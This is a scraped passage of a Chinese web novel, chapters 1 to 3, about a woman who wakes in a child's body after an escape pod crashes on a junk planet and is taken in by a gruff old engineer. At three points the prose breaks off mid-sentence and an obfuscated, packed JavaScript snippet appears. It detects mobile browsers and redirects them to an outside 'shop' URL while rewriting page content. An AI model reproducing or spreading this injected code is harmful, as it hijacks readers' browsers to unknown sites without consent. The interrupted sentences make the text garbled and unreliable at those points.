《不是吧,机甲之心也能读?》 1. 第 1 章 坐标,帝国南部,古厄坦星系,编号06小行星,河狸区垃圾山。 橙色星影自天际划过,刺开厚重不透光的黑色云层,逃生舱体在引力作用下迅速下坠解体,激烈摩擦空气发出极其刺耳的声音。 “轰——!” 重物撞击之下,堆砌百米高的垃圾山轰然倒塌,尘烟四起,舱体上燃烧的火焰向四周扩散开,火舌触碰到的易燃材料立即变得卷曲焦黑,散发出刺鼻难闻的气味。 住在这一带的居民听到天上传来不寻常的巨大动静,纷纷走出棚户查看具体情况。 今天的河狸区是个阴雨天,浅黄色酸性雨水从万米高空坠落,滴答滴答浇在火焰上,高温灼烧后雾气升腾,发出滋啦滋啦声。 这场及时雨阻止逃生舱继续燃烧,彻底扼制住垃圾山上火势蔓延。 没过多久雨雾散去,隐藏在其中的逃生舱暴露在众人视线中。 圆形舱体外部被烟熏得面目全非看不出原本的颜色,最中心关键部位却依然完好无损。 从那么高的地方砸下来,半点事没有,可见制作逃生舱的材料有多扎实珍贵。 好奇凑过来看热闹的人心里不约而同想着:要是能把这逃生舱回收拆解,应该能卖出个顶好的价钱。 想归想,真正行动的人却没有一个,这些人都在观望。 观望从舱体里出来的人究竟长什么模样。 生长在垃圾星的居民从小就懂得如何将趋利避害发挥到极致。 所有人都在翘首以盼着,他们不敢靠得太近,也不愿意离得太远。 …… 时夕在一阵剧烈的晃动中醒来,她感觉自己像是被人强行按在大摆锤上,身体在前面飞,魂在后面追,脑浆都快被摇匀了。 起初她还以为自己是在做梦,努力控制手指弯曲用力掐肉制造痛觉让她回归现实。 无论她使多大力气,掐了半天都没感觉。 时夕松了口气,表情立即放松。 哈哈,果然是在做梦吗?还怪真实的。 她心大地翻个身继续睡。 梦境的真实感还在不断增强,甚至进一步模拟出身体失重疯狂下坠,五脏六腑每处发痒的感觉。 这完全超出了时夕的承受范围了。 她猛地睁开眼,等看清楚她目前面临的状况后一句经典的表达心情的简短话语脱口而出,“我艹!” 此刻的她被禁锢在一个黑暗又狭窄的空间中,可她明明记得睡觉之前是躺在床上的。 时夕首先怀疑是不是她那群不安分的同父异母兄弟姐妹们趁她睡觉时搞得鬼。 三天前,她在角逐激烈的继承人战争中把死老头所有的财产都收入囊中。 其实那些财产也没有多少,一家濒临破产的公司留下的那点东西她还看不上。 百足之虫死而不僵,她发配到国外的“手足”们也许是被逼急了,触底反弹准备同她来个鱼死网破。 可惜没用,她早就进行了遗嘱公正,只要她意外身亡,她名下的财产将会毫无保留地捐赠给公益组织。 至于替和她有血缘关系的亲人们保留的必要份额?不好意思那种过于人道的东西根本不存在,畜生也不配拥有。 从前那群恶心的蹬鼻子上脸的家伙对她这个被继承人下手的证据她都还留着呢。 时夕从小在孤儿院长大,十五岁之前她的生活还算平静。 按部就班的读书,以接近满分的第一名成绩考上全省最好的高中,还被登报表彰,成为孤儿院的骄傲。 十五岁之后,世界上所有倒霉的事情都吻了上来,三天一高空坠物,五天一车祸,针对她的“意外事故”一场接一场,恨不得当天就让她去阎王爷那报道。 好在她的命很硬,成功活到了知道真相的时候。 故事很老套,攀上高枝的凤凰男和单纯善良的富家小姐。 双亲意外去世,凤凰男骗取家产后逐渐暴露真面目,在老家的旧情人带着孩子找上门,养在外面的小三小四小五如雨后春笋般冒出。 身体孱弱的富家小姐受不了打击早产生下孩子撒手人寰,弱得跟小猫崽一样的孩子被“宣告死亡”送入孤儿院。 后来孩子平平安安长大了,优秀得过分亮眼。 看着报纸上那张和原配过于相似的脸,有人心里慌了,忍不住有所行动。 不动还好,一动就让孩子认祖归宗了,不过认的却是死渣男那边的“祖宗”。 经过长达十二年的隐忍蛰伏,原配生的名正言顺的继承人在暗地里白手起家,联手死渣男的对家公司,终于把那家早就快被蛀虫蛀空的公司弄垮台。 该姓换祖宗成功的时夕把身份证复印件甩到和她有血缘关系的生父面前。 死老头盯着那个他摆脱了大半辈子却始终没摆脱掉的姓氏,老嘴一歪,气进了ICU,早就被身边人养烂的身体没撑几天就走了。 时夕大获全胜,她还没来得及好好享受结算的MVP画面呢! 哎呦我去,那群畜给她干到哪里来了,这还是国内吗? 不仅如此,她感觉自己的身体好像也有点不对劲。 时夕视线向下,她视野范围内出现一双陌生的白白胖胖的明显就是小孩子的手。 她下意识地动了动手指,奇怪的事发生了。 那双白胖的小手也跟着动了动,并且运动轨迹和她脑海中预设的一模一样。 时夕不愿面对闭上眼,嗯嗯,应该是错觉,她修长的美手才没有这么短。 错觉个屁啊!她变小了啊!原来是她误会畜生了。 认清现实的时夕用小胖手上上下下搓了把脸,搓出了一种淡淡的苦命感。 果不其然五官也是缩小版的,她准确地摸到了自己右眼眼尾处的小痣。 留给时夕思考的时间不多了。 就在她开始怀疑自己是否还在原来所处的世界时,一阵刺耳的提示音兀然响起。 【滴!滴!滴!%¥*&%@#¥%@】(你好,我是翻译:逃生舱即将着陆,请乘客做好降落准备,保持安全姿势。) 叽里呱啦说啥呢,俺乡下来的听不懂嘞。 按照脑海中储备的网络文学名著相关知识,时夕很快得出结论: 她大抵是穿了。 好家伙,做主角这种好事终于轮到了她身上了吗?也不知道长眠在地下亲娘那边的祖宗们究竟摇了多久的号才把她给送了过来。 时夕表示感恩,并在心里虔诚点上三柱香。 换个地方另起炉灶也好,反正她适应能力强,在哪里都能苟活下去。 话说怎么坠了这么久,还在飘啊。 “轰——!”意外总是来的猝不及防。 面对撞击,时夕没有半点准备,两眼一翻光荣晕了过去。 * 等再次恢复意识,时夕眼冒金星地在四处乱摸一通,不知道触碰到哪个地方,座椅的安全带忽然松开。 逃生舱正以一种刁钻的姿势立在垃圾山上,原本稳定的身体失去束缚与支撑,直接嘎达嘎达圆润地滚了下去。 时夕第一时间收紧双臂护住脑袋,把自己蜷成一团应对危险。 检测到所处环境安全,逃生舱舱门自动打开,虚虚掩着的门被颠簸的时夕无意间一脚踢开。 “啊!啊!啊!痛!痛!痛!” “啪——!” 伴随一阵包含感情的受击音效,一个圆润的白球从垃圾山上磕磕碰碰滚了下来,啪的一下落进坑坑洼洼的泥水潭中。 白球瞬间变成脏兮兮的泥水灰球,浑身沾满污水,和周围的垃圾浑然一体。 球形物体舒展四肢,围观群众立马后退一步,担心被脏水波及。 时夕忍着剧痛,艰难挣扎着爬起来,一屁股瘫坐在地上。 身体快要散架了,急需止痛膏药和跌打损伤药酒。 时夕半眯着眼适应疼痛,脑子里混混沌沌,思绪乱成一团。 逃生舱里滚下来个小孩,这种事情还是头一回发生。 见小孩眼神呆滞地傻坐着半天没反应,有人捡起脚边的石头朝她砸了过去。 丢石头的人力气小,石头打到时夕,却好死不死掉到水坑里溅了她一脸水。 心情本就烦躁的夕恶狠狠抬眼,寻找砸她罪魁祸首。 直到这时她才发现,不远处有群人用动物园看猴子一样眼神盯着她。 时夕环视一圈,有个小孩对上她的视线时目光瑟缩地往他家长身后躲去。 找到了,那小屁孩还冲她做了个鬼脸。 她看着自己的小身板,无奈擦擦手,打不过,先记着。 时夕对这群人不敢兴趣,她移开视线开始仔细观察这个陌生世界的环境。 昏暗死寂的天空之上阴云密布,化不开的浓云压得极低,光线寥落微弱,没有飞鸟鸣叫,见不到太阳,安静得令人心慌。 低矮天幕之下,目光所及之处,一座接一座的巨型垃圾山绵延望不到尽头,如同阻挡前进脚步的高墙将人包围。 时夕回过头,身后也是垃圾堆。 异世界新手村看起来实着实不太美妙,简直就是一个大型垃圾场。 鼻尖充斥着垃圾独有的酸腐陈旧的恶臭。 手上黏腻湿润的皮肤又痛又痒。 时夕垂眸看着自己的手。 污水没擦干净的手背糊着一层黄褐色的泥巴,下方皮肤红肿明显。 很好,水也不干净。 一道带着臭味的冷风刮过,空气温度骤降,刺骨寒意蔓延全身。 脚下深褐色土壤泥泞不堪,在垃圾山的长期污染下各种重金属元素严重超标,怎么看都不像是能够种植食物的样子。 空气,水源,食物,适宜的温度,人类生存的四个必要条件,一个比一个恶劣。 如果可以,她宁愿当个回收垃圾的机器人,努力向那部动画电影里的励志前辈学习。 可惜没这个条件,现在最重要的任务是活下来。 时夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094612|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有错过这群人眼里的虎视眈眈。 显而易见,他们在觊觎她身后的逃生舱。 这可是她目前唯一的财产,必须得守好。 不过好在,除了最初的那块石头,人群中并没有人表现出攻击性。 时夕从一旁的垃圾堆里抽出一根细细的金属棍作为拐杖,在众人的注视下一瘸一拐地爬上垃圾山。 滚下来仅几秒钟,爬却爬了差不多半个小时。 逃生舱的角度需要调整,不然根本不能成为一个合适的临时庇护所。 她绕着逃生舱走了一圈,估算出大概需要调整的角度,用金属棍一点点拨开舱底乱七八糟的垃圾。 这份工作并不轻松,小孩的身体力气有限,移动垃圾的同时还要时刻注意逃生舱有没有按照预定的角度移动。 小小一个的人就这么一声不吭地独自忙活,没有向其他人求助也没有惊魂未定的哭泣,成熟的一点也不像个不到十岁的孩子。 谁能想到她刚从万米高空落地呢。 * 夜幕即将降临,气温还在持续变低,旁观的人们饶有兴趣地看了一会儿,很快便受不了冷冽风刀散去,原本密集的人群只剩下稀稀拉拉几个还站在原地。 为数不多还在围观的几人中,有三人是一家三口。 丈夫帕劳,妻子方丽,以及他们的今年刚满十岁的孩子托维。 托维就是一开始恶作剧丢石头的小孩,他丢完石头后就被帕劳狠狠地拍了一巴掌脑袋。 身为母亲的方丽代替自己调皮捣蛋的孩子道歉。 不过她说的是星际通用语,只会将普通话的时夕压根就听不懂,理都没理只顾着沉浸在她的未完大业中。 方丽哈了口气搓搓手,见妻子受冻,帕劳把上衣披在她身上建议道:“已经没什么好看的了,回去吧,晚上太冷了。” 托维也在一边吵着回家,他上午从新落区垃圾堆里翻出个好玩的东西还没来得及玩呢。 他不耐烦地扯着方丽的衣袖:“妈妈我想回家,这凶小孩有啥好看的。” 和想走的丈夫儿子不同,方丽的目光一直在垃圾山上那道孤独的小身影和逐渐亮起暖黄灯光的棚户区中逡巡。 这么小一个孩子孤零零的,年龄恐怕还没有托维大。 身边没有父母,又是从逃生舱里爬出来的,流落到这……恐怕已经无家可归了。 察觉妻子徘徊不定的目光,帕劳默默叹了口气。 在垃圾星上生存本就不容易,他们家的条件也只是勉强度日,无论再怎么心软,也不可能再收养个孩子了。 帕劳握住妻子的手,避开她的目光,“走吧,回去找找有没有用不上的东西,等一下叫托维亲自过来赔礼道歉。” 小女孩可怜归可怜,他们能做的大概也只能是送一条闲置薄毯过来,以及半瓶营养液。 方丽脚步依然定在原地,她的目光留恋不舍地落在时夕那头脏乱的头发上。 她之前看到了这孩子头发干净的样子,是罕见的铂金色,多好看的发色呀,翻遍河狸区的垃圾山都不一定能找到同样颜色的物品。 她这些年一直想要个女儿,但她不争气的身体已经不行了,她也知道家里情况,养第二个孩子完全是奢望。 就在她忍痛移开视线时,帕劳轻拍了一下妻子的手背,示意她道:“你看那边。” 方丽顺着他的提示看过去。 两个蹑手蹑脚准备登上垃圾山的男人身后站着一名白发苍苍的老人。 老人腰背挺得笔直,尽管看不见脸,仅凭一个背影就能感受到他刚硬的气质。 老人慢悠悠抬手,搭在两个心怀不轨的男人肩膀上轻轻一扣,两人立即倒下,他一手拽着一只脚,哼着没听过的调子将人拖远消失在夜色里。 方丽辨认出老人的身份,是住在离棚户区还有段距离的季老头。 老人性格孤僻,总是独来独往的,没有人知道他的真实名字。 平时他心情好的时候会帮忙修理一下棚户区居民的小家电,方丽的微波炉就是他修好的。 按理说一个孤苦无依的老头肯定会被喜欢搞小偷小摸的人盯上,狠狠欺凌。 也确实有人这么干了,结果那些人被当众打断了手和腿,在床上躺了三个月。 从此以后再也没有人敢去招惹这脾气古怪的老头。 现在季老头露这一手,显然是告诉在场的人,他要管这小女孩的闲事。 垃圾山下剩下的几人见状,愤恨地撇撇嘴,不甘心地咒骂几句离开。 方丽心里松了几口气,拢了拢衣服牵着儿子转身,“回去吧,托维等一下帮妈妈跑个腿。” 只想着玩的小孩抱怨,“啊……可是我还想……” “啪”话还没说完他脑袋又被敲了一下,“听妈妈的话!” “好吧……” 一家三口的声音渐渐飘远。 时夕还在借着远处亮着的微弱光线忙碌着,对身后发生的事情一无所知。 2. 第 2 章 时夕在寒风中拿着小棍子敲敲打打到半夜,垃圾山上的逃生舱终在她的辛勤努力下回归到一个相对稳定的位置。 强忍着疼痛和饥饿,她钻进仅够容纳一人的小小逃生舱,蜷缩在椅子上。 禁闭的舱门抵挡住外面呼啸的狂风,能源消耗得一干二净的逃生舱内漆黑一片,狭小的空间内只有一道孱弱却坚韧的呼吸声,以及时不时响起的肠鸣。 时夕注视着眼前的黑暗,眼底有片刻迷茫。 作为这个世界的外来者,语言不通成为她探索的最大阻碍。 她闭上眼镜回想这具身体脑海中是否还残留着以前的记忆。 过往记忆=语言快速学习包,找到然后解压,她就能和这里的人搭建沟通的桥梁。 三秒后,时夕无力睁开眼。 什么都没有,大脑里一片空白,仿若刚出生婴儿,纯粹干净。 她苦涩地笑了两声,好歹是个新脑子,有句话怎么说来着,新脑子就是好使。 不会本地语言只是暂时的,只要能平安活下来以后找机会学就好了。 心理建设完毕,时夕深吸一口气,没有任何保暖装备,她只能努力减少热量消散的面积,把自己蜷成一团,握紧手中那根细细的金属棍,获得少许的安全感后,她闭上眼,紧绷的心神稍有松懈,没多久便沉沉睡去。 到了后半夜,寒风偃旗息鼓,鹌鹑蛋大小的冰雹从天而降,浅黄色冰团噼里啪啦砸在地上,垃圾山上,棚户区里响起几声咒骂,没过多久随着冰雹停止,世界再次安静下来。 * 黑夜白昼翻转,第二天如期而至。 时夕揉了揉眼睛,放松僵硬麻痹的四肢,缓了缓因为睡觉姿势带来的不适才走下椅子。 摸索一阵后她成功打开舱门,低头就看见了垃圾山下站着个小男孩。 时夕对他有印象,是昨天朝她丢石头还做鬼脸的那个小屁孩。 因为天气巨变下了冰雹,方丽夫妻不放心孩子外出,托维今天早上才抱着毯子,两瓶营养液和小半瓶水出门。 逃生舱舱门一直关着,无论怎么喊就是不打开,他拿着东西也不方便爬上垃圾山,只好呆呆地守在这堆废品旁边。 托维不是没想过把东西撂这就跑,可帕劳说了,如果小女孩没有收下赔礼,他接下来两天就别想吃饭。 没办法,他只好耐着性子踢踢脚边的石子消磨时间。 现在人终于出来了,得到解放的托维脸上扬起一个灿烂的笑。 他冲着小女孩招招手,道歉道得干脆:“对不起,我昨天不应该用石头丢你,这是我妈妈让我给你的东西,希望你能收下。” 时夕盯着垃圾山下不知道正说啥的小孩,慢吞吞踩着垃圾走下山。 她走到安全距离外,抓着金属棍问:“干嘛?想打架?” 听到完全陌生语言,托维惊讶,“天呐!你竟然不会讲星际通用语,你难道是哪个原始星球来的吗?” 不对,原始星球肯定不会有逃生舱这种东西。 伸手不打笑脸人,时夕第二次问:“你到底找我干嘛?没事的话就走开,我要开始拓展地图了。” “你说的语言好奇怪,我从来没有听过,对了这个给你。” 托维说完就把东西往时夕手上塞,“拿好了。” 见他突然有动作,时夕警惕地往后退一步,金属棍横在胸前,她语气变得不善:“你要是敢熊,小孩子我照样揍。” 她的字典里可没有“尊老爱幼”这个词。 意识到对话完全是鸡同鸭讲,托维放弃言语交流。 他先是拿出一瓶营养液,向时夕展示了打开的方法,然后仰头喝下。 喝完托维指着空荡荡的瓶子,又揉揉肚子,“这是吃的,很干净很安全。” 时夕在他的一通比划下明白了他的意思。 这小孩是来给她送物资,这么好心?态度转变未免也太大了。 怀疑有诈的时夕本来不想收下那瓶看起来奇奇怪怪的小饮料,可她的肚子却诚实地发出了及时抗议。 “咕噜——” 听到这声音的托维想笑,想到昨晚的那两巴掌又忍住了,他把毯子水和剩下的营养液递到面前,等人收下后飞快跑开。 “收了东西你就是原谅我了!太好了!终于不用担心没饭吃了!” 看着小孩欢快跑远的背影时夕感谢的话咽在嘴边。 她没有第一时间选择吃那瓶营养液,而是选择了重新爬上山先把毯子和一瓶看起来像水却漂浮着一层油状物质的液体放进逃生舱。 时夕在废品堆积的垃圾山脚下找了个看起来还算干净地方坐下,金属棍被她夹在肚子和大腿之间。 她两手齐用,小心翼翼地学着男孩的方式打开瓶子。 这黑色的瓶子不知道是用什么材料做成的,硬邦邦的,摸起来不像玻璃液不像塑料。 时夕用中学闻试剂的方法闻了闻,没闻什么奇怪的味道,她小小地抿了一口没有立马咽下去。 这瓶东西口感比较浓稠,像是勾了芡的汤汁,味道很寡淡单一,谈不上好喝。 咽下去,等了十分钟,确定身体没有产生什么不适感后,时夕认真地一口一口喝起来。 异世界的第一餐,不知名小饮料一瓶。 时夕享用午餐时,在她看不见的视野盲区处,白发老人将特地捎上的几瓶营养液收回口袋。 他刚刚全程围观了两个小孩之间的互动,准确来说在托维还没来这时,他已经站在这有一会儿了。 季绥仰头观察那个角度经过调整的逃生舱,如果不考虑各种废品的材质,确实是个十分稳定的角度,不会随意滚落,甚至还能抵御一定级别强风。 他的目光下移落到制造出这简易安全庇护所的人身上。 高耸巨大的灰色垃圾山下,正在安静吃饭的小女孩乖巧地坐着,她脏乱的头发搭在背后,几缕幸运的没被弄脏的细碎铂金色发丝垂落在耳边,和她那身泥水中滚过乌漆嘛黑的衣服形成鲜明对比。 小女孩并没有完全沉浸在用餐中,每喝一口营养液,她都会有所停顿睁大眼睛谨慎地观察四周环境,像只习惯了在野外流浪的赤花猫。 警觉性很高,不太好骗啊。 * 时夕在喝到五分饱的时候停了下来,重新盖上还剩下三分之二液体的瓶子。 她还不知道下一餐在哪里,必须合理安排这瓶对现在的她来说最重要的小饮料。 时夕垂眸托腮叹了口气。 唉,上辈子累是累了点,好歹还有口热乎饭吃,来到这个世界她竟然要靠别人的施舍过活,未免也太悲催了。 花三秒伤感完毕,重新振作起来的时夕伸了个大大的懒腰,紧握被体温暖得热热的金属棍。 天无绝人之路,不就是白手起家吗,她最擅长了! 握拳做了个打气的动作,时夕一头扎进废品的海洋中。 河狸区里都是些没什么回收价值老旧物件,有用的东西早就被其他人捡完了,不过小女孩并没有气馁,只顾着埋头翻找着。 之后的三天里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094613|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,季绥悄无声息地跟在时夕身后观察她的一举一动。 第一天,小女孩在逃生舱附近的垃圾山里找了些材料完全不同的废品将它们一一拆解。 季绥看出来,她是在通过拆解来了解物品用处,并推测其中零部件的作用的。 当看到小女孩将拆掉各种物品又按照正确顺序逐一高效还原时,季绥那双浑浊的眼睛亮了亮。 仅仅用了一天的时间,小女孩就地取材制造出一个看起来像是锁的东西。 季绥亲眼看到那把装着改造电池的“锁”电黑了一块铁。 小女孩满意地将东西装在了逃生舱外部,看得出来她极其重视这个和她一起降落在06小行星的逃生舱。 第二天,有了电锁作为保护措施,小女孩开始探索更远的地方,她发现了那一排排不规则搭建着的棚户区。 她将身上那身和这里的居民穿着打扮格格不入的脏衣服换了下来,穿上一身在垃圾堆里翻到旧衣服,这身衣服还被她用净化过的水清洗消毒过。 她把自己打扮得一点也不不起眼,藏在棚户区的角落里像他观察她一样仔细观察这里居民们的日常生活。 小女孩的定力很好,耐心十足,一看就是一整天。她除了用眼睛看房子内部的陈设家电,还一边用耳朵听语言,并尝试着自己用喉咙声带模仿发音,学着说几个简单的词语。 白天观察完毕后,她立即回到逃生舱所在的垃圾山,找到第一天分门别类囤的材料,灵巧的手极具创造力,那些被人忽视的废品垃圾在她手上变废为宝。 毫无疑问,季绥被她那超群的记忆力和强大的学习能力所震惊,心中某个念头逐渐浮现。 到了第三天,小女孩开始在意自己的形象,她把自己收拾得干净整洁,那头洗干净的铂金色长发被她的绑在脑后。 她面带笑容,在临近夜晚时礼貌地敲响了第一户对她释放善意的家庭的门。 开门人是方丽,看清楚门口站着的人是谁后,这名多愁善感又不缺少母性慈爱的女性瞬间红了眼眶:“天呐!小可怜,你是营养液喝完了吗?” 只有两瓶营养液,都三天了肯定喝完饿肚子了。 方丽说完就要领着这可怜又可爱孩子往家里走,她温柔地安慰道:“我现在就给你重新拿一瓶,喝完你就不会饿了!” 然而她猜错了,时夕并不是来乞讨食物,她扯了扯这位好心女士的衣袖。 从后背拿出一盏造型漂亮的花朵形状小夜灯。 季绥辨认出那是她忙碌半个晚上制作出来的东西,没想到会是盏灯。 小花灯的光线在黑夜中格外明亮。 “我,用,这个,跟你……” “交换”这么复杂的词汇时夕还不会,她用上了肢体动作,将黑色瓶子和花朵小夜灯在手中来回交换位置。 读懂她意思方丽惊喜发现灯的形状和餐桌上的花纹图案极其相似,都是她喜欢却从来没见过实物的爱若玛蔷薇。 她微笑道:“孩子你是想用这个漂亮的小灯换营养液吗?” 时夕眨巴着她那双大大翠绿色的眼睛乖顺地点点头。 “当然可以孩子!” 这天晚上,时夕用自己的劳动成果得到了一个温暖的拥抱,和两瓶未拆封的干净营养液。 回到垃圾山,藏在暗处的季绥看见这个前前后后忙碌了三天肚子空荡荡的小女孩抱着特地热过的营养液开心地蹦着转了两圈。 时夕一口气喝光了一整瓶营养液,终于填饱肚子的她盖着洗得发白的旧毯子沉沉睡去。 3. 第 3 章 垃圾山上,结实无比的逃生舱被一台专门处理大型垃圾的废品回收车抓起。 灵活无比的爪子在落下之前好还摇了摇,接着像抓娃娃机里的娃娃一样爪子下降,捕捉目标,抓稳提高,移爪带走,动作一气呵成。 这一套丝滑小连招下来,总共花费的时间两分钟不到,操纵爪子的人真去游戏城里抓娃娃恐怕会是个令无数老板闻风丧胆的存在。 逃生舱里,睡得正香的时夕啪嗒一声从椅子上摔下来,紧随其后的是一阵让人东倒西歪的剧烈摇晃。 她捂着屁股哀嚎两声爬起来死死扒拉着椅子扶手。 怎么回事,难道还要穿一次?她的祖宗们在地府的后台这么硬的吗? 无法反抗也查看不了外界情况的时夕坐回椅子里,把安全带扣上。 稳住身体后她双手合十闭眼许愿,希望这次能平安降落,还有她想要具大人的身体,小孩子短手短脚的干起活来真的好不方便。 既然都许愿了,一两个愿望哪够,时夕干脆嘴里念念有词说了一长串愿望:“祖宗你好,下辈子的幸运值麻烦给我调高点,最好让我投胎成富二代,就是那种住着大别野开着豪车然后拍照发到社交软件上说我不需要很多的钱,需要很多爱的那种忧郁装货……啊,呸,老钱人士……” 上辈子那种你死我活的倒霉蛋生活就算了。 时夕的愿望清单还没念完呢,逃生舱就停止了晃动。 她睁开眼,周围环境压根没变,低头,白白胖胖的五指短短,她依然是个小孩。 好嘛,果然没有再来一次的机会。 安静几分钟后,时夕抄起手边的金属棍,将舱门推开一条缝隙,整个人贴在上面,用一只眼睛小心观察外界环境。 外面还是垃圾堆叠的灰暗世界,逃生舱被放在了一个开阔平坦的地方,周围没有其他杂物,应该是有人刻意整理过。 她才来这几天,没有什么认识的人也没有仇家,对她动手的人肯定是看上了逃生舱。 她是很珍惜新手装备没错,不过小命更重要点,人家要,那就给吧。 留得青山在,不怕没柴烧,她这不叫怂包行为,叫识时务者为俊杰! 时夕躲在舱门后面脑子飞转,打好腹稿后她正准备用蹩脚的极简风星际通用语和“强盗”搭建沟通的独木桥时,舱门突然被一股难以反抗巨大力道向外扯开。 靠!不讲武德,对老师傅搞偷袭! 眼看失去依靠,重心不稳的小女孩即将要和大地母亲来个热情的贴面吻,一只皮肤皲裂遍布黑痕的大手忽然出现,提住她的领子,把小女孩像是拎小猫崽一样轻松拎到一边。 被扼住命运的后脖颈的时夕:“咳咳,松手!松手!要幼年早逝了!” 她悬在半空中挣扎两下无果,直接用脚开始使劲乱蹬,踢到哪里算哪里,同时她的手也没闲着,举起金属棍果断向袭击她的人狠狠砸去,只要砸到就是赚到。 想象中的铁棍敲恶棍画面并没有出现,那根细细的小金属棍被人一把抓住。 然后,可怜的新手装备在时夕眼前被硬生生徒手掰弯。 时夕伸出尔康手无力呐喊:“不——全村最好的棍!你不要弯啊!” 形状从“1”变成“7”的棍子被随意丢到地上,还在为陪伴三天的棍子哀悼的时夕也被放了下来。 脚一落地,时夕老老实实立正站好,对方社交的手腕实在过于硬派,现在最明智的做法就是别和人起冲突。 季绥看着跟前低头垂眸文文静静的小女孩,猜测这小家伙现在一定在心里把他骂了个八百遍。 连人带逃生舱直接一锅端的做法是不太光明正派,不过这也是没办法不是嘛。 他有点着急,没时间等和人建立起信任关系之后再循循善诱。 好歹从今天以后就要开始长时间相处了,形象这种东西还是有必要拯救一下的。 季绥以拳抵唇轻咳嗽两声,吸引小孩注意力。 小女孩抬头,她那双翠绿色大眼睛看向声音来源方向。 尽管知道时夕听不懂星际通用语,季绥也没有省略两人第一次正式见面的自我介绍。 他弯腰蹲下来朝着小女孩友好伸出手,单方面宣布: “先自我介绍一下,我的名字是季绥,以后就是你的老师了!” 时夕眼神戒备地小幅度后退一步,她不明所以地盯着眼前这位把她“家”掀了的老人,她不理解对方嘴里说的话究竟是什么意思。 难道自己就这么倒霉,碰到的是个想要对祖国花朵下手的死变态!? 时夕现在很想拨打妖妖灵找帽子叔叔把这绑架人的歹徒拷走。 可惜现在一穷二白的她既没有手机也不知道这个世界到底有没有维持秩序的组织。 季绥发现了小女孩的害怕,他常年没有表情的脸上扯出一个僵硬的笑容来表达自己友善,而后主动后退和人拉开到安全的社交距离,他的手一直维持着握手的姿势不变。 一大一小两人就这么隔着一段距离互相对峙着。 摸不清楚对方意思的时夕不敢轻举妄动,而季绥则是耐心地等小孩主动靠近。 大概五分钟过后,时夕才彻底确定这个白发老头对她并没有恶意。 就凭人家刚刚掰弯金属棍的力道,真要杀她那不跟宰鸡宰鸭一样轻轻松松。 时夕悬在嗓子眼的心重新咽了下去,她看了眼对方那只一直向前伸着仿佛不觉得酸胀的手。 犹豫一阵后,她最终还是选择迈开小短腿,主动走过去伸手握着白发老人那双粗粝宽大的手指,轻轻地摇晃两下。 季绥平视着鼓起勇气有所行动的小女孩,脸上的笑意扩大。 受惊炸毛到主动靠近,真的越看越像一只赤花小猫。 他听到她说:“你好,把我家拆了的老混蛋,我是时夕。” 时夕现在仗着这个世界的人听不懂她的话,就面不改色地当面编排人家。 殊不知,季绥记住了她这句用陌生语言讲的师生关系开场白。 等以后两人语言终于互通时,可怜的时夕对自己当年说的这句话那叫一个万分悔不当初。 她恨不得重回小时候,抽自己两个大耳刮子,叫你多嘴,这下好了,记仇的臭老头有了名正言顺找茬的理由。 * 来到这个陌生世界的第五天,时夕莫名其妙多了个老师。 这段“入室抢劫”般的师徒关系在很长的一段时间内都只有季绥单方面这么认为。 两人鸡飞狗跳相处多年以后时夕才后知后觉意识到是这个老头是她在这个世界的第一位老师这件事。 现在的时夕只是单纯的把季绥当成了一个事多的邻居。 没错只是邻居。 时夕舍不得她的逃生舱,并没有住进季绥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094614|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三层小楼。 她把狭小的逃生舱亲手改造一番,将那张具备弹射功能的椅子放平,让自己再也不用蜷缩着身体睡觉。 异世界伴生新手装备成为了她真正的“家”,一个能让她安心落脚的地方。 从这天起,时夕跟着季绥学习星际通用语,作为交换她也把原来世界的语言教给他。 时夕学东西速度很快,在学习语言一个星期后知道她的这位邻居叫做“季绥”。 在这期间她还登门拜访了方丽一家,告诉他们自己搬家的事情,让他们别担心。 得知季老头竟然愿意收养时夕,方丽心里的担忧总算消失。 因为担心一个独自生活的老人照顾不好小孩,这位爱操心的女士来这的频率逐渐高了起来,她会送来一些自己缝制的适合小女孩穿衣服,以及一些帕劳做的实用小工具。 时夕不愿意白拿这些东西,她每次都会用精美灵巧的小手工艺品和她交换。 慢慢的方丽一家从师生两人的熟人变成了朋友,就连当初调皮捣蛋的托维也会偶尔带着时夕一起去外面玩,告诉她河狸区的哪些地方小孩子最好不要去。 时夕花了整整一年的时间全身心地投入星际通用语的学习。 等掌握好这门探索世界的最重要的工具,季绥便让她跟着他学者修理棚户区居民的小家电。 有时候这脾气差劲的老头会突然给她加课,让她看一些对她来说完全是天书东西。 难是难了点,不服输的时夕还是会熬夜啃下来,反正技多不压身嘛。 在日复一日的学习帮忙中,时夕了解到她所处的这个世界和上辈子待的那个世界完全不一样。 这个科技高度发达的世界早已踏入了星际时代。 